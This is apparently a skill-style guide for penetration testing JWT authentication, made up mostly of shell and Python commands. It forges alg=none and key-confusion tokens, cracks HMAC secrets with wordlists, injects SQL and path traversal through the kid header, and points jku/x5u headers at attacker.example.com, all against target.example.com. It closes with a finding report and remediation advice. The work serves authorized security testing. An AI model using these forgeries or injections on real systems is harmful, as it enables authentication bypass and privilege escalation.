Name: Testing Jwt Token Security
Author: mukul975

Testing Jwt Token Security | Skills Pool

# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}

# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}

# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"

# Check for sensitive data in the payload:
# - PII (email, phone, address)
# - Internal IDs or database references
# - Role/permission claims
# - Expiration times (exp, nbf, iat)
# - Issuer (iss) and audience (aud)

# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a

# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')

# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')

# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
  "https://target.example.com/api/admin/users" | jq .

# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
  HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
  FORGED="${HEADER}.${PAYLOAD}."
  echo -n "alg=$alg: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $FORGED" \
    "https://target.example.com/api/admin/users"
  echo
done

# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .

# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl

# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem

# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json

# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
    public_key = f.read()

# Create forged payload
payload = {
    "sub": "1234567890",
    "name": "Admin User",
    "role": "admin",
    "iat": 1516239022,
    "exp": 9999999999
}

# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
  "https://target.example.com/api/admin/users"

# Using jwt_tool with common secrets
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt

# Using hashcat for GPU-accelerated cracking
# Mode 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt

# Using john the ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# If secret is found, forge arbitrary tokens
python3 << 'PYEOF'
import jwt

secret = "cracked_secret_here"
payload = {
    "sub": "1",
    "name": "Admin",
    "role": "admin",
    "exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Forged token: {token}")
PYEOF

# Using jwt_tool for claim tampering
# Change role claim
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
  -pc role -pv admin

# Test common claim attacks:

# 1. JKU (JWK Set URL) injection
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
# Host attacker-controlled JWKS at the URL

# 2. KID (Key ID) injection
# SQL injection in kid parameter
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# If kid is used in file path lookup, point to /dev/null (empty key)

# SQL injection via kid
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"

# 3. x5u (X.509 URL) injection
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"

# 4. Modify subject and role claims
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
  -pc sub -pv "[email protected]" \
  -pc role -pv "superadmin"

# Test expired token acceptance
python3 << 'PYEOF'
import jwt
import time

secret = "known_secret"
# Create token that expired 1 hour ago
payload = {
    "sub": "user123",
    "role": "user",
    "exp": int(time.time()) - 3600,
    "iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Expired token: {expired_token}")
PYEOF

curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"

# Test token with far-future expiration
python3 << 'PYEOF'
import jwt

secret = "known_secret"
payload = {
    "sub": "user123",
    "role": "user",
    "exp": 32503680000  # Year 3000
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"Long-lived token: {long_lived}")
PYEOF

# Test token reuse after logout
# 1. Capture JWT before logout
# 2. Log out (call /auth/logout)
# 3. Try using the captured JWT again
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"
# If 200, tokens are not revoked on logout

# Test token reuse after password change
# Similar test: capture JWT, change password, reuse old JWT

Concept	Description
Algorithm None Attack	Removing signature verification by setting `alg` to `none`
Algorithm Confusion	Switching from RS256 to HS256 and signing with the public key as HMAC secret
HMAC Brute Force	Cracking weak HS256 signing secrets using wordlists or brute force
JKU/x5u Injection	Pointing JWT header URLs to attacker-controlled key servers
KID Injection	Exploiting SQL injection or path traversal in the Key ID header parameter
Claim Tampering	Modifying payload claims (role, sub, permissions) after compromising the signing key
Token Revocation	The ability (or inability) to invalidate tokens before their expiration
JWE vs JWS	JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity)

Tool	Purpose
jwt_tool	Comprehensive JWT testing toolkit with automated attack modules
Burp JWT Editor	Burp Suite extension for real-time JWT manipulation
Hashcat	GPU-accelerated HMAC secret brute-forcing (mode 16500)
John the Ripper	CPU-based JWT secret cracking
PyJWT	Python library for programmatic JWT creation and manipulation
jwt.io	Online JWT decoder for quick analysis (do not paste production tokens)

## JWT Security Finding

**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)
**Severity**: Critical (CVSS 9.8)
**Location**: Authorization header across all API endpoints
**OWASP Category**: A02:2021 - Cryptographic Failures

### JWT Configuration
| Property | Value |
|----------|-------|
| Algorithm | RS256 (also accepts HS256) |
| Issuer | auth.target.example.com |
| Expiration | 24 hours |
| Public Key | Available at /.well-known/jwks.json |
| Revocation | Not implemented |

### Attacks Confirmed
| Attack | Result |
|--------|--------|
| Algorithm None | Blocked |
| Algorithm Confusion (RS256→HS256) | VULNERABLE |
| HMAC Brute Force | N/A (RSA) |
| KID Injection | Not present |
| Expired Token Reuse | Accepted (no revocation) |

### Impact
- Complete authentication bypass via forged admin tokens
- Any user can escalate to any role by forging JWT claims
- Tokens remain valid after logout (no server-side revocation)

### Recommendation
1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
2. Use asymmetric algorithms (RS256/ES256) with proper key management
3. Implement token revocation via a blocklist or short expiration with refresh tokens
4. Validate all JWT claims server-side (iss, aud, exp, nbf)
5. Use a minimum key length of 256 bits for HMAC secrets

Testing Jwt Token Security

When to Use

Prerequisites

Testing Jwt Token Security

When to Use

Prerequisites

Workflow

Step 1: Decode and Analyze the JWT Structure

Step 2: Test Algorithm None Attack

Step 3: Test Algorithm Confusion (RS256 to HS256)

Step 4: Brute-Force HMAC Secret

Step 5: Test JWT Claim Manipulation and Injection

Step 6: Test Token Lifetime and Revocation

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Algorithm None Bypass

Scenario 2: Weak HMAC Secret

Scenario 3: Algorithm Confusion on SSO

Scenario 4: KID SQL Injection

Output Format

1password

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